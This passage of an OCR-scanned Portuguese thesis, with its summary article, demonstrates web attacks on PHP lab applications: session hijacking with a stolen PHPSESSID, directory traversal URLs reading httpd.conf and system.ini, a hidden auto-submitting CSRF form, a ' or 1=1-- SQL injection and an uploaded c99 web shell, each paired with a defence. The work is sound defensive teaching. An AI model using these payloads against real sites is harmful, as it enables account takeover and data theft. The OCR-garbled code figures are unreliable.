janela que ndo contém dados de sessdo ou cookies. Nesta janela foi ativada a
extensdo Cookie Editor (Figura 58), carregou-se a pagina de login da aplicacdo e
entao foi modificado o valor do PHPSESSID para o valor da sessao valida da vitima,

obtido via XSS, no caso “mgp7scrvj2h9d3hos2pnn54vpl”, Figura 59.
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[ijjacking

Figura 58 — Extensdo Cookie Editor em funcionamento no navegador Google Chrome.

Fonte: Autor.

M e
" =27/ [E Iocalhost/tcc/session hija. x | -

— T T

Demonstracio Session

Hijacking
\
‘ Usuario:
‘ Senha:

|

C' | [ localhost/tce/session%20hijacking/login.php

o

X Excluir tudo (™ Sinalizar e excluir udo + Adicionar um novo cookie #Opgdes
F Exportar cookies * Importar Cookies ¢ Resetar OPesquisar

~ PHPSESSID | localhost

™ Sinalizar cookie WExcluir cookie #Marcar como apenas leitura

mgp7scrvi2h9d3hos2pnns4vpl

Walor

Dominio [localhost
Caminhe |/
Expiracio |25/11/2014 10:45 AM
"

Somente o Host [¥] Sessio [Vl sequro Somente Hitp [

Enviar alteragBes no cookie

Figura 59 — Alteracdo do valor do cookie PHPSESSID para sessao valida da vitima.

Fonte: Autor.

4.4.1.1 APLICACAO A
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A aplicagao A por utilizar as configuracdes padroes em seu servidor APACHE,

sofreu um sequestro de sessao bem sucedido. Ao alterar os valores de sessdo com

o Cookie Editor para a sesséo valida da vitima, e em seguida atualizar a pagina, o

atacante garantiu acesso a aplicacdo em nome da vitima com suas credenciais

validas, Figura 60.
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. ——— TS & g

== [E] localhost/tec/session hija x|

€« C | [ localhost/tce/session%20hijacking/restrito.php e |

*Excluir tudo % Sinalizar e excluir tudo + Adicionar um novo coolde #Opgdes
Demonstracio Session FExportar cookies * Importar Cookdes ¢ Resetar SPesquisar
? ~ PHPSESSID | localhost
Hijacking ™ Sinalizar cookie @Excluir cookie #Marcar como apenas leitura
mgp7scrvizhsd3hoszpnnsdvpl

. . = A z Valor
Bem vindo, Administrador vocé esta

logado na area resirita. Dominio [localhost

Caminho |/

Figura 60 — Acesso em nome da vitima através de Session Hijacking.

Fonte: Autor.

A Aplicagdo A em conjunto com os testes de XSS provaram que o Session
Hijacking € uma vulnerabilidade existente em iniUmeras aplicagbes web, e de alto

risco para as mesmas.

4.4.1.2 APLICACAO B

A Aplicacao B, por utilizar configuragdes personalizadas do servidor APACHE,
como a habilitacdo do uso de cookies apenas (session.use_only _cookies), e
implementac¢des de seguranca (session.cookie_secure), impediram com sucesso um
ataque de Session Hijacking, mesmo a vitima de alguma forma vazando suas
credenciais de sessédo (PHPSESSID) para o atacante.

Primeiramente, ao abrir a extensao Cookie Editor, ja nota-se que ndo ha mais
o0 registro de sessdo PHPSESSID, Figura 61, isso por que a configuracdo APACHE
session.use_only_cookies especifica que a aplicacdo usou somente cookies para
guardar a ID. Segundo PHP, “habilitando esta configuracdo previne ataques
envolvendo passagem de ID de sessdo nas URLs”. Ja a configuracdo
session.cookie_secure garante que todos os cookies originem de uma conex&o
segura, impossibilitando assim a alteragdo do valor do mesmo. A combinagdo das
duas configuracdes resultam em uma aplicacdo segura contra tentativas de Session
Hijacking, a Figura 62, demonstra que mesmo criando um novo valor de sessao com

nome PHPSESSID, o atacante ndo garantiu acesso a aplicacao.



= [E] tocalhost/tcc/session hija %

& C' | [1 localhost/tcc/session%20hijacking/login.php

Demonstraciao Session Hijacking

[Usuario:

[ser

Entrar |

% Exchair tudo 1 Sinatizar e excluir tudo + Adicionar um novo cookie #Opgdes
FExportar cookics * Importar Coolies @ Resctar @Pesquisar

Figura 61 — Cookies protegidos contra Session Hijacking.

Fonte: Autor.
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==/ [l localhost/tec/session hijz- x|
= C' | [ localhast/tce/session%20hijacking/login.php k4l ]
Exchuir tudo W Sinalizar e excluir tudo * Voltar 2 listz #Opgdes
- . s . FExportar cookies # Importar Cookies & Resetar OPesquisar
Demonstracio Session Hijacking
Adicionar um nove cookie
Usuario:
Nome [PHPSESSID
Senha:
map7scrvizhd3hos2pnnsdvpl]
Entrar valor
g
Dominio [localhost
Expiracio [25/11/2014 11:08 AM
Somente o Host [0 Sessao[d  seguro D Somente Http [
Enviar alteracBes no cookie
]

Figura 62 — Tentativa de criacdo de cookie PHPSESSID com valor de sesséao valida.

Fonte: Autor.
4.5 DIRECTORY TRAVERSAL

Ataques de directory traversal s&o muito comuns e aplicagbes que incluem
arquivos via URL ou outros métodos. A fungao de inclusao include do PHP, inclui um
arquivo a partir de um caminho absoluto, ndo apenas por seu nome, desta forma,
pode-se subir diretdrios e subdiretérios, incluindo arquivos que nao se encontram na

raiz, ao serem inclusos, a funcéo ira executar o arquivo em questao.

4.5.1 ATAQUES

A simulagdo de ataque para direcotry traversal faz justamente isto, a incluséo
de um arquivo que ndo se encontra na pasta de paginas HTML da aplicacdo. A

aplicacao pretende incluir apenas os arquivos HTML existentes na sua pasta raiz.
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O servidor de teste configurado possui 0 seguinte caminho absoluto:
I:\xampp\htdocs, a pasta htdocs € a pasta raiz da aplicagdo, nela encontra-se o
template PHP (traversal.php) e as paginas HTML que devem ser inclusas.

O ataque consiste em sair desta pasta e incluir os arquivos de configuragbes
do APACHE ou até mesmo arquivos de configuracdo do Sistema Operacional. Como
foi utilizado um servidor Windows, a quebra de diretérios pode ser entendida como
barra normal (/) ou barra invertida (\), diferente de outros sistemas operacionais em
gue aceita-se somente barras normais (/).

Através de tentativa e erro um atacante pode descobrir o diretério das

configuracdes no sistema, e visualiza-los no navegador.

45.1.1 ATAQUE 1

A fim de visualizar as configuracdes do servidor APACHE, foi inserido

uma URL como evidencia a Figura 63.

Figura 63 — Directory traversal incluindo arquivo de configuracdo APACHE.

Fonte: Autor.

4.5.1.2 ATAQUE 2

Com intuito de listar dados do sistema operacional, foi carregada entao

a URL como mostra a Figura 64.

C | [ tec/traversal.php?arquivo=../././Windows/system.in | ‘

Figura 64 — Directory Traversal incluido dados do sistema operacional.

Fonte: Autor.

4.5.2 APLICACAO A

A Aplicacao A por tentar incluir diretamente o caminho recebido, sem tratar ou

validar a existencia do mesmo, mostrou-se vulneravel a ataques de Directory
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Traversal. Primeiramente como mostra a Figura 65, ao tentar incluir um arquivo
inexistente, ou um diretério inexistente, no caso (../) , 0 PHP exibe um erro na tela,
dizendo que o arquivo em questao nao foi encontrado, e exibe o diretério absoluto
em questdo (Figura 66), entregando assim ao atacante o caminho da aplicacdo no
servidor (I:\xampp\htdocs).

C | [4 tce/traversal php?arguivo=../

Figura 65 — Provocacao de erro para exibicao do caminho absoluto.

Fonte: Autor.

Directory Traversal - Este € um template exemple que inclui um arquivo do servider

Resultado da execucao

Caminho incluso: "I:\xampp\htdoes"

Warning: include (I:‘\xampp\htdocs): failed tc open stream: Permission denied in I:\xampp\htdocs\tcc\traversal.php on line 17

Warning: include(): Failed opening '../' for inclusion (include_path='".;I:\xampp\php\PEZR') in
I:\xampp\htdocs\tcc\traversal.php on line 17

Figura 66 — Erro de inclusédo, arquivo inexistente.

Fonte: Autor.

4.5.2.1 ATAQUE 1

Para a Aplicacéo A, o resultado do primeiro ataque foi a exibicdo de toda a
configuracdo do servidor APACHE, Figura 67.
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Resultado da execucao

Caminho incluso: "I:\xampp\apache\conf\httpd.conf"

Figura 67 — Incluséo de configuracdo do APACHE via Directory Traversal.
Fonte: Autor.

4.5.2.2 ATAQUE 2

Indo mais afundo, o Ataque 2, na Aplicagdo A foi capaz de listar as
configuracdes do préprio sistema operacional que hosteia a aplicacédo, Figura 68.



Resultado da execuciao

(2l

Caminho incluso: "I:\Windows\system.ini
; for 16-bit app support

[386Enh]

woafont=dosapp. fon

EGAS0WOA. FON-EGA20WOA. FON

EGR40WOR. FON=EGR40WOR . FON

CGABOWOL. FON=CGASOWOR . FON

CGA40WOR. FON=CGA40WOR. FON

[drivers]
wave=mmdrv.dll

timer=timer.drv

[mci]

Figura 68 - Incluséo de configuracdo do Windows via Directory Traversal.

Fonte: Autor.

4.5.3 APLICACAO B
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As validagbes e implementagfes da Aplicagéo B, impediram com sucesso um

ataque de Directory Traversal, pois primeiramente, ao verificar a existéncia do

arquivo, caso 0 mesmo nao seja encontrado ou ndo exista como fora evidenciado na

Figura 41, o PHP néo exibird o erro padrdo que mostra o diretério da aplicacao,

como ocorreu na Aplicacdo A, mas sim apenas uma mensagem de erro

personalizada (Figura 69).

Demonstracao Directory Traversal

Directory Traversal - Este & um template exemplo que inclui um arquivo do servidor

Resultado da execucao

Caminho incluso: "I:\xampp\apache\conf\httpd.conf"”

Figura 69 — Arquivo ndo encontrado.

Fonte: Autor.
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4.5.3.1 ATAQUES

Na Aplicacdo B, ambos os ataques tiveram o mesmo resultado “404 Pagina
ndo encontrada.”. Isto aconteceu por que, a funcdo basename retorna apenas o
nome do arquivo, e ndo seu diretério, eliminando assim todas as tentativas de
alterac&o de diretorio (../../).

A Aplicacdo B provou que tratar a existéncia e o caminho do arquivo a ser

incluso protegem com sucesso uma aplicagao contra ataques de Directory Traversal.

4.6 CROSS SITE REQUEST FORGERY

O Cross Site Request Forgery sé é possivel caso a vitima, usuaria da
‘Aplicacé@o Legitima’ (aplicacdo alvo do ataque), seja atraida por meio de técnicas
variadas, que n&o séo o foco da vulnerabilidade (fishing, propagandas, emails falsos,
etc), @ uma pagina maliciosa, Figura 70, que contenha um formulario HTML, com
campos escondidos, Figura 71, que submetem para a pégina real da aplicacéo,
esta pagina requer devida autenticacdo. Esta pagina maliciosa pode conter contedido

diversos, ou mesmo ser uma copia da prépria aplicacao.

&~ C' | [ localhost/tcc/csri/site-atacante/pagina-maliciosa.php

Demonstraciao Cross Site Request

Forgery - Pagina do atacante com
inputs HIDDEN

Site com propaganda, conteudo diverso, copia do
site real, ou qualquer outro conteudo.

Figura 70 — Site do atacante, pagina com formulario escondido.

Fonte: Autor.
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Elements | Resources Metwork Sources Timeline Profiles  Audits Conscle

¥ <body style>
iv style="width:48%;border:lpx solid #CDCDCD;height:568px;float:left; ">
yle="text-align:center;">Demonstracdo Cross Site Forgery Request - PAgina do atacante com inputs HIDDEMN</hl>

P <h2>.</h2>
¥ cdiv>
¥ «form method="post" action="http://localhostitecc/csrf/minhaconta.php” id="formSubmit">
<input type="hidden" name="email" wvalue="atacante@email.com.br">
</form>
</div>
<fdive

Figura 71 — Formulario escondido com action direcionada a ‘Aplicacdo Legitima’.

Fonte: Autor.

4.6.1 ATAQUE

Para realizar o teste, assumiu-se que uma vitima logada (com acesso
garantido) na ‘Aplicacéo Legitima’, fora atraida para uma pagina maliciosa.
Assim que ele carrega a pagina, sem seu conhecimento, o formulario escondido é
submetido via JavaScript para a ‘Aplicacdo Legitima’, através do seguinte cédigo

jQuery, Figura 72.

<sCcriptc type=”textfﬁa?ascrigt”}
$ (funcrion() i

§('#formSubmit”) .submit () ;

L

</script>

Figura 72 - Codigo jQuery para envio automatico de formulario HTML.

Fonte: Autor.

4.6.1.1 APLICACAO A

Na Aplicacdo A, no momento em que a vitima entra na pagina
maliciosa e o formulario € submetido via JavaScript, seus dados sao alterados sem
seu consentimento, Figura 73, pois a vitima estava logada na aplicacdo, e possuia
entdo credenciais vélidas para através de uma requisicdo POST fazer alteracdo em
seus dados. O atacante entdo alterou o email da vitima, para um email de seu

acesso, podendo assim usar funcbes como “Recuperar Senha” para enviar uma
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nova senha a ele, e receber assim acesso a aplicacdo. A Aplicacdo A sofreu com

sucesso um ataque de Cross Site Request Forgery.

<« C' | [ localhost/tcc/csrf/minhaconta.php

Dados atualizadoes com sucesso.

Figura 73 — Cross Site Request Forgery bem sucedido, dados da vitima alterados vi pagina maliciosa.

Fonte: Autor.

4.6.1.2 APLICACAO B

A Aplicagéo B por necessitar o preenchimento e validagdo de um CAPTCHA,
bloqgueou com sucesso um ataque de Cross Site Request Forgery. Pois o codigo
CAPTCHA é gerado apenas para a pagina ‘Minha Conta’, sendo assim, o atacante
ndo ha como prever o cAdigo que serd gerado em uma solicitacdo valida, ou seja,
dentro da aplicacdo. Desta forma, ao tentar submeter um formulario situado em uma
pagina externa, recebe a mensagem de falha na digitacdo do codigo CAPTCHA,
Figura 74.

Sendo assim, utilizar CAPTCHA para formulérios que alteram informacdes
sigilosas em aplicacdes fechadas, € um modo eficaz de protecdo contra ataques

provenientes da vulnerabilidade Cross Site Request Forgery.

= C | [ localhost/tcc/csrf/minhaconta.php

ICodigo incerreto, favor redigite o codige

Figura 74 — CAPTCHA impedindo alteracao de contelido via paginas de terceiros.

Fonte: Autor.
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5 CONSIDERACOES

Este trabalho demonstrou através de referencial tedrico e experimentos em
aplicacbes préticas a existéncia e funcionalidades das vulnerabilidades mais comuns
em aplicacdes web atuais.

Concluiu-se que as linguagens de programacdo web atualmente possuem
fungbes nativas para combater estas vulnerabilidades, como por exemplo, a
linguagem PHP que contém a nova biblioteca PDO (PHP Data Object), que ao ser
utilizada corretamente, exclui qualquer possibilidade de uma injecdo SQL; a fungéo
strip_tags e htmlentities, funcionam efetivamente na eliminacéo de qualquer caracter
ou tag nao permitido nas entradas do usuério, prevenindo assim ataques como
XSS. Os desenvolvedores devem ser conscientizados sobre a existéncia e riscos
destas e outras vulnerabilidades, a segurangca deve ser priorizada, e a linguagem
optada para desenvolvimento deve ser estudada a fundo, pois a mesma ja oferece
implementacdes de seguranca cabiveis e confiveis.

Em geral, tratar a entrada do usuério é essencial para o desenvolvimento de
uma aplicagdo segura, foi provado que nunca deve-se utilizar os parametros
recebidos, diretamente na aplicagdo, pois ha diversas vulnerabilidades existentes
que utilizam deste método para formalizar um ataque.

Porém, ndo s6 o desenvolvedor deve ser conscientizado, mas o usuario ao
navegar na internet também deve ficar atento, ndo clicando em links suspeitos ou
informando dados pessoais em sites ndo confidveis. Fora detectado também, que
alguns navegadores como o Google Chrome ja possuem por padrdo uma
implementacdo de seguranga contra XSS, mesmo em sites e aplicagbes que
possuam esta vulnerabilidade, tornando-se assim, uma boa ferramenta para o
usuério previnir-se.

Para aqueles que visam dar continuidade & esta pesquisa, aconselha-se
pesquisar mais a fundo as citadas vulnerabilidades, e demonstrar diferentes
implementagdes de seguranga, como permissdes de acessos para vulnerabilidades
como directory traversal e file upload attack, outras formas de validagdo das
entradas do usuario, utilizacdo de outras bibliotecas de conexdo que também

blogueiam efetivamente injecbes de SQL, como o MYSQLi, pois fora evidenciado
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apenas o bésico e a esséncia de cada, servindo como porta de entrada para futuros

projetos.
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Abstract. The Internet is the main medium of communication today, and has
facilitated numerous professional and everyday tasks. Among these, business
management, product marketing, and advertising in general. The security should
never be overlooked. From the growing number of attacks on web sites and systems,
and the large number of sites that have some kind of loophole, an analysis of the
main web vulnerabilities was performed, explaining what they are, how they work
and what are the risks of an eventual attack, then been demonstrated guidelines on
how to protect yourself,, programmatically, using the free scripting language PHP,
or just server settings.

Resumo. A Internet é o principal meio de comunicacdo da atualidade, e vem
facilitando inimeras tarefas cotidianas e profissionais. Dentre essas, a gestdo de
negoécios, comercializacdo de produtos, e publicidades em geral. A questdo de
seguranca nunca deve ser deixada de lado. A partir do crescente nimero de ataques
a sites e sistemas web, e da grande quantidade de sites que possuam algum tipo de
brecha, foi realizada uma analise das principais vulnerabilidades web, explicando o
que sdo, como agem e quais os riscos de um eventual ataque, em seguida foram
levantadas orientacOes de como proteger-se, atraves de programacao, utilizando-se
da linguagem interpretada livre PHP, ou apenas configuragdes de servidor.



1. INTRODUCAO

Sabe-se atualmente sobre as enormes transformagdes que a Internet vem causando na
comunicacdo, no trabalho, no comércio e no entretenimento ao redor do mundo. Ela vem
crescendo exponencialmente tanto em quantidade de sites, contabilizando 582.716.657 em
janeiro de 2012 e 629.939.191 em janeiro de 2013 (NETCRAFT, 2013), como em quantidade
de usuarios, passando de 2,1 bilhGes em 2011 para 2,4 bilhdes em 2012 (PINGDOM, 2012), e
a tendéncia é aumentar cada vez mais (PINGDOM, 2012) devido a sua popularizacdo,
facilidade e comodidade.

Com o crescimento da Internet e suas facilidades, muitas aplicagbes que antes eram
apenas desktop passaram a ser desenvolvidas e utilizadas online, crescendo muito sua
popularizacdo (COVA, 2007). Uma série de fatores como comodidade, rapidez, facilidade e
portabilidade também contribuiram para um crescente nimero de organizagdes e individuos
confiarem em aplicagbes baseadas na Web, oferecendo assim, uma grande variedade de
servigos. Atualmente, aplicacbes Web s&o rotineiramente utilizadas em ambientes vitais,
como sistemas médicos, financeiro e militar (COVA,2007).

Sistemas e aplicagdes Web sdo compostos por itens de infraestrutura, tais como:
servidor Web, bancos de dados e cddigo fonte especifico — tanto client side, como o HTML e
JavaScript, como server side, englobando PHP, ASP, JSP, e diversas outras linguagens.
Enquanto os componentes de infraestrutura sdo normalmente desenvolvidos por técnicos
experientes, com habilidades solidas de seguranga, o codigo fonte das aplicagdes, comumente
é desenvolvido por programadores com pouco treinamento em seguranca e sob estritas
restricbes de tempo (COVA, 2007). Como resultado, muitas aplicacdes vulnerdveis sdo
implantadas e disponibilizadas por toda a Internet, criando pontos de entrada facilmente
exploraveis para o0 comprometimento de redes inteiras.

Segundo Netcraft (2013), dos 629.939.191 sites contabilizados em Janeiro de 2013,
cerca de 244 milhdes utilizam a linguagem interpretada livre PHP, notou-se também, que o
principal servidor Web Apache ainda mantém uma maioria, contando com 55,26% do
mercado, portanto, segundo SIDDHARTH, grande parte destas aplicagbes ndo possui
protecdo contra varias wvulnerabilidades existentes. Estas aplicacbes, por trafegarem
informagdes e dados valiosos para a empresa ou 0 usuario, ndo podem continuar vulneraveis
ao0s possiveis ataques.

Outro ponto importante € o crescimento do nimero de desenvolvedores de softwares
no mundo (BLS, 2012). Isto significa que atualmente, muitas pessoas sabem ou tém nogdes
de programacdo e codificacdo de aplicacbes. Com o aumento do nimero de pessoas que
possuem conhecimento sobre o desenvolvimento de um site e quais sdo suas possiveis
defesas, consequientemente aumentou-se 0 nimero de ataques a sites vulneraveis.

Através destas informacgdes, foram levantadas as principais vulnerabilidades presentes
em sites institucionais e aplicacbes Web, analisando-as através de referencial teorico,
identificando assim, do que se tratam e como funciona um ataque de forma maliciosa, para
entdo ser demonstradas possiveis formas de protecdo, correcdo e implementagdo de seguranca
contra as mesmas, podendo ser através de simples configuracdes do proprio servidor, ou de
codigos de programacdo mais complexos utilizando-se da linguagem interpretada livre PHP.
Foram desenvolvidas aplicagBes praticas para demonstrar como funciona um ataque através
de uma wvulnerabilidade web, e quais as implementagBes de seguranga necessarias para
proteger-se, através de simulagbes de uma aplicacdo vulnerdvel sofrendo o ataque, e outra
aplicagdo protegida, repelindo o ataque.



2. VULNERABILIDADES

Vulnerabilidades sdo brechas, bugs, pelo qual uma aplicagdo computacional pode
tornar-se vitima de um ataque ou invasdo. A seguira analise das 5 principais vulnerabilidades
presentes em aplicagdes Web (Sqgl Injection, Cross Site-Scripting, File Upload Attack, Session
Hijacking e Cross Sifte Request Forgery), junto com implementagdes de segurancas validadas
através de aplicacOes préticas, e seus resultados.

2.1 SQL INJECTION

SQL Injection € a técnica de ataque & aplicacdo mais comum atualmente, trata-se de
tirar proveito de codificagdo indevida de aplicagGes, permitindo que atacantes possam injetar
comandos SQL diretamente no banco de dados através de entradas de usuario, como
formulérios de login (ACUTENIX, 2013).

Um ataque de SQL Injection, pode ocorrer atraves de um formulario de login, em que
a aplicacdo comunica-se com o banco de dados por meio de uma série de comandos
planejados, de forma a verificar a combinacdo do nome de usuério e senha, porém esta
verificacdo ndo utiliza as entradas do formulario de forma higienizada, comparando e
enviando diretamente a consulta SQL para o banco de dados.
Nota-se que a varidvel $query possui a sentenca SQL formada recebendo diretamente a
entrada do usuério, ou seja, 0s pardmetros ‘usuario’ e ‘senha’. Uma inje¢do de SQL é possivel
nesta forma de codificacdo. Simulando uma inje¢do, ao enviar como pardmetro ‘usuario’ a
sentenca ‘ or 1=1;- , consegue-se garantir acesso a aplicacdo, pois ao receber o pardmetro ‘ or
1=1-- para 0 campo usudrio, a aspa no inicio da sentenca fechou a string relativa ao nome de
usuério e inseriu-se uma condicdo (ou 1=1) que sempre sera verdadeira, porém so esta
condigéo retornaria falsa pois a validagéo de senha ainda estava ativa, entdo ao adicionar os
dois tragos no final da sentenca todo o resto da query e suas condi¢des foram comentadas e
ignoradas pelo banco, resultando na sentenca reproduzida pela Figura 1 que sempre retornara
verdadeira.

SELECT + FROM ysuarie WHERE psuaric = ' OR 1=1

Figura 1: Resultado de consulta em banco com inje¢cdo SQL.

2.1.1 PHP DATA OBJECT (PDO)

Uma maneira de evitar injegdes Sql € utilizando a biblioteca de manipulac&o de dados
orientada & objeto do PHP, esta trata e envia para o banco de dados uma query MySQL
valida, através de prepared statments.

Segundo PHP (2013), “Se um aplicativo usa exclusivamente instru¢Ges preparadas, o
desenvolvedor pode ter certeza de que ndo ir4 ocorrer a injecdo de SQL”, declaracdo esta
confirmada ao realizar a mesma injecdo SQL na aplicacgdo utilizando a biblioteca PDO e ndo
obter um acesso indevido.



2.2 CROSS SITE-SCRIPTING (XSS)

Cross Site Scripting mais conhecido como XSS, é a manipulacéo de scripts do lado do
cliente (navegador), de uma aplicacdo Web para executar agcbes maliciosas (ACUTENIX,
2013). O XSS ocorre quando paginas da Web que sdo geradas dinamicamente ndo sdo
devidamente validadas. Isto permite que um invasor inclua codigos JavaScript maliciosos na
pagina gerada, e execute o script na maquina do usuario.

Como por exemplo, uma pagina PHP que recebia via protocolo HTTP-GET uma
varidvel denominada ‘pesquisa’ em seguida exibe-se uma mensagem “Resultado de pesquisar
para ‘termo’:”, junto com o resultado da consulta. Esta consulta gera uma URL com o
pardmetro ‘termo’, contendo o valor inserido no campo de pesquisa, por exemplo,
http://localhost/tcc/xss.php?termo=busca-+teste.

Caso este ‘termo’ ndo seja devidamente tratado, ou seja, exibido diretamente (Figura
2), esta aplicagdo estd vulnerdvel & injegBes XSS. Um atacante entdo podera inserir um cddigo
JavaScript no lugar do termo de busca, codigo que poderd enganar Usuarios que acessarem
estd pagina com a URL alterada, podendo assim ter acesso a informagBes como cookies e
executar outros ataques como session hijacking.

<?php 1f (isset($_GET[‘termo’])){
terme = § GET[‘termo’]:

e
/* Pesguisa em bancc com o termoc
F* ...

FELY)

echo "Resultado de pesguisa para "".35termo.”': <br/>";
f*%* Imprime o3 rhsultados de pesguisa **/
i caaa *f
e
<php 12>

Figura 2: Codigo PHP vulneravel a XSS, parametros exibidos sem tratamento.

2.2.1 HTMLENTITIES E STRIP_TAGS

A fungdo PHP htmlentities é responsavel por converter todos os caracteres de uma
string em uma sentenga HTML vélida. J& a fungdo strip_tags remove toda e qualquer tag
HTML, principalmente a tag <SCRIPT>, responsavel pela injecdo de XSS. Segundo PHP
(2013), o uso de htmlentities e strip_tags blogueiam com sucesso inje¢des XSS. Bloqueio este
confirmado através de aplicacOes préticas utilizando as fun¢des em questdo, ao ler o cddigo
fonte da pégina, a injecdo de JavaScript ndo foi exibida , evitando assim o vazamento de
informacdes como cookies.

2.3. FILE UPLOAD ATTACK

E o envio de arquivos para o servidor sem validacdo ou tratamento. Podendo ser
arquivos contendo codigos que serdo executados pelo servidor Web. Dalili (2011) explica que
estes arquivos enviados representam um risco significativo para aplicagdes. O primeiro passo
em muitos ataques é enviar um codigo para o sistema a ser atacado. Em seguida, o atacante s6
precisa encontrar uma maneira de executar o cddigo no servidor.

Para demonstrar esta vulnerabilidade, fora utilizado o script PHP conhecido como
shellc99.php, que funciona como um servico de FTP online, construido especificamente para
invasdo de sites e aplicagbes. Ao receber o arquivo via upload, e armazené-lo, o atacante pode
acessa-lo e executé-lo via navegador, garantindo assim controle sobre os arquivos fontes da
mesma.



2.3.1. VERIFICACAO MIME E .htaccess

Para evitar envio de arquivos maliciosos, pode-se utilizar a verificagdo do tipo MIME
(Multipurpose Internet Mail Extensions), que € uma norma da internet para o formato das
mensagens de correio eletronico, contendo a categoria e o tipo do arquivo (MIME, 1996),
como mostra a Figura 3.

Siwerifica MIME Type

if{fcurriculc['type'] != "applicaticn/mawcrd™) |
echo "Desculpe, apenas documentcos do tipo .doc e .docx
3dc aceiteg.<br />";
exitr

Figura 3. Verificagdo do tipo MIME em PHP.

Outra implementacdo de seguranca cabivel, é o bloqueio da listagem de arquivos pelo
navegador, utilizando o arquivo de configuragdo APACHE .htaccess, arquivo este que permite
gerenciar a extensdo de arquivo que o navegador exibird, bloqueando assim o acesso a
arquivos de cddigo fonte e maliciosos.

2.4. SESSION HIJACKING

Segundo Owsap (2011), Session Hijacking (Sequestro de Sessdo) consiste na
exploracdo do mecanismo de controle da sessdo web, que normalmente é gerada por um
token, a captura deste token vélido, chamada "PHPSESSID", pode ser usado para ganhar
acesso ndo autorizado ao servidor Web através de modificadores de cookie.

Este token pode ser obtido de formas variadas, através de ataques XSS, fishing, entre
outras que ndo sdo o foco da vulnerabilidade.

2.4.1. CONFIGURACOES

A forma comprovada de evitar sequestro de sessdo, e uso indiscriminado do mesmo &
alterando as configuracdes do servidor contidas no arquivo de configuracdo do PHP php.ini.
Estas configuragfes sdo session.use_only_cookies, responsavel por especificar se 0 mddulo
usard apenas cookies para guardar a ID de sessdo no lado do cliente. Habilitando esta
configuragdo previne ataques envolvendo passagem de IDS de sesséo em URLs. E a
configuracdo session.cookie_secure, esta responsavel por especificar que os cookies sejam
apenas enviados sob conexdes seguras.

2.5 DIRECTORY TRAVERSAL

Segundo Acutenix (2013), Directory Traversal € um exploit HTTP que permite aos
crackers acessar diretdrios restritos, e executar comandos fora do diretorio raiz da aplicacéo
Web.

Esta vulnerabilidade é comum em aplicacBes que referenciam o nome do arquivo na
URL e ndo fazem as devidas validagdes, permitindo assim que o atacante insira expressoes
como “../” instruindo assim o sistema subir um diretério a partir da raiz. Desta forma é
possivel listar na tela informacdes de configuracdo do servidor (Figura 4), como do sistema
operacional.



Resultado da execucao

Caminho incluso: "I:\xampp\apache\conf\httpd.conf"

# Do NOT simply read the instructions in here without underscanding

Figura 4: Listagem de configuragéo apache ao acessar URL
http://tcc/traversal.php?arquivo=../../apache/conf/httpd.conf.

2.5.1. BASENAME

O método implementado de prevencéo a este tipo de vulnerabilidade, foi a utilizacdo
da funcdo PHP basename, funcéo esta, responsével por retornar apenas o nome do arquivo, e
ndo seu diretorio absoluto, ignorando assim todas as tentativas de alteracéo de diretorio (../../),
a Figura 5 mostra um exemplo de inclusdo segura de arquivo, via parametros na URL.

<?php
Sarquivo = 5 GET['arquivo']l:
if(!@include (basename ($Sarquivo) ) {
echo “404 Pagina nic encontrada.”;
i
e

Figura 5: Inclusdo segura de arquivos via URL utilizando funcéo basename.

2.5. CROSS SITE REQUEST FORGERY

Segundo Kafer (2008), Cross Site Request Forgery (CSRF) é uma técnica que permite
que o atacante engane o usudrio para realizar uma acdo, usando sua autoridade e credencial.
Ou seja, segundo Owsap (2013), CSRF é um ataque que engana a vitima para o carregamento
de uma pégina que contenha uma solicitacdo maliciosa.

Em outras palavras, um usuério logado em uma aplicacdo legitima, acessa a pagina do
atacante, pagina essa que contém, um formulario escondido, com dados como endereco de
email, referentes ao atacante e envio direcionado a aplicacdo legitima em que o usuério
encontra-se logado. O usuario ao entrar nesta pagina é redirecionado para sua pégina de
alteracdo de cadastro, salvando o email do atacante como seu novo email, sem que tenha
conhecimento. Ou seja, 0 usuario faz uma solicitacdo legitima, sem seu conhecimento. Isto
caracteriza CSRF, como demonstrado nas aplicacBes praticas, o usudrio teve seus dados
alterados ao entrar em uma pégina de terceiro (Figura 6) que continha um formulario
escondido submetendo informagdes maliciosas em seu nome.



Elements | Resources Metwork Sources Timeline Profiles  Audits Conscle

¥ <body style>
¥ odiv style=
<h
P <hZ>.
¥ cdive
¥ <form method="post" action="http://localhost/tcc/csrf/minhaconta.php” id="formSubmit">
<input type="hidden" name="email" wvalue="atacante@email.com.br">

"width:48%;border:lpx solid #CDCDCD;height:568px;float:left;">
"text-align:center;">Demonstracdc Cross Site Forgery Request - Pégina do atacante com inputs HIDDEM</hl1>

</form>
</dive
<fdive

Figura 6: Formulario escondido em pagina do atacante, sendo submetido a aplicacdo
legitima, alterando informag@es do usuario através de CSRF.

2.5.1. CAPTCHA

A forma demonstrada para evitar ataques de CSRF, foi a implementacdo de um
sistema CAPTCHA, que trata-se uma implementagdo de seguranca desenvolvida em PHP,
com o intuito de forcar o usuério a identificar letras de uma imagem distorcida, provando
assim ser uma pessoa real.

Ao utilizar CAPTCHA, ataques de CSRF ndo sdo sucedidos, pois o cddigo
CAPTCHA é gerado apenas para a pagina legitima, sendo assim, o atacante ndo tem como
prever o codigo que sera gerado em uma solicitacdo valida, ou seja, dentro da aplicagéo.

3. CONSIDERACOES

Este trabalho demonstrou através de referencial tedrico e experimentos em aplicacdes
préticas a existéncia e funcionalidades das vulnerabilidades mais presentes em aplicacdes web
atuais.

Concluiu-se que as linguagens de programagdo web, atualmente possuem fungdes
nativas para combater estas vulnerabilidades, como a linguagem PHP contém a nova
biblioteca PDO (PHP Data Object), que ao ser utilizada corretamente, exclui qualquer
possibilidade de uma injecdo SQL; a fungdo strip_tags e htmlentities, funcionam muito bem
para eliminar qualquer caracter ou tag ndo permitido nas entradas do usuério, prevenindo
assim ataques como XSS. Cabe apenas a conscientizagdo do desenvolvedor para a existéncia
e riscos destas vulnerabilidades, pois o préprio ambiente de trabalho oferece implementacdes
de seguranca confiaveis.

Em geral, tratar a entrada do usuéario é essencial para o desenvolvimento de uma
aplicagdo segura, foi provado que nunca deve-se utilizar os parametros recebidos, diretamente
na aplicacdo, pois ha diversas vulnerabilidades existentes que utilizam deste método para
formalizar um ataque.

Para aqueles que visam dar continuidade & esta pesquisa, aconselha-se explicar mais a fundo
uma das vulnerabilidades citadas, pois aqui foi evidenciado apenas o bésico e a esséncia de
cada.
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